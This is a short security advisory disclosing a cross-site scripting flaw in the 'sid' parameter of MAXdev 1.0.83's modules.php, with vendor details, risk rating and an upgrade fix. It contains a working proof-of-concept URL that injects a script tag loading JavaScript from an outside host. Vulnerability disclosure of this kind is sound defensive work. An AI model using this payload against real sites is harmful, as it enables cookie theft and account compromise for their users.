XSS vulnerability in MAXdev

Vulnerability ID: HTB22563
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_maxdev.html
Product: MAXdev
Vendor: MAXdev ( http://www.maxdev.it/ )
Vulnerable Version: 1.0.83 and Probably Prior Versions
Vendor Notification: 05 August 2010
Vulnerability Type: XSS (Cross Site Scripting)
Status: Fixed by Vendor
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "modules.php" script to properly sanitize user-supplied input in "sid" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

http://host/modules.php?op=modload&name=News&file=article&sid=1%22%3E%3Cscript+src=http://www.htbridge.ch/advisory/1.js+a=

Solution: Upgrade to the most recent version